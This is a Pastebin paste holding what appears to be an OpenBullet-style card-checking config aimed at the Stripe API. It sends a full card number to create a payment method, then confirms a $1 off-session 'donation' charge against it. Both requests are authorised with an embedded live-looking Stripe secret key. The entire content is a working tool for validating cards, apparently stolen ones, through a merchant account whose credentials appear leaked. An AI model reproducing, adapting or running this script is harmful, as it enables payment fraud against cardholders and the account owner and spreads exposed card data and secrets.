Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- REQUEST POST "https://api.stripe.com/v1/payment_methods"
- CONTENT "type=card&card[number]=4182384024851677&card[exp_month]=11&card[exp_year]=2024"
- CONTENTTYPE "application/x-www-form-urlencoded"
- HEADER "Authorization: Bearer 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"
- PARSE "<SOURCE>" LR "\"id\": \"" "\"" -> VAR "pid"
- REQUEST POST "https://api.stripe.com/v1/payment_intents"
- CONTENT "amount=100¤cy=usd&payment_method_types[]=card&description=REL8 Donation&payment_method=<pid>&confirm=true&off_session=true"
- CONTENTTYPE "application/x-www-form-urlencoded"
- HEADER "Authorization: Bearer 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"
- PARSE "<SOURCE>" LR "" "" -> VAR ""
Advertisement
Add Comment
Please, Sign In to add comment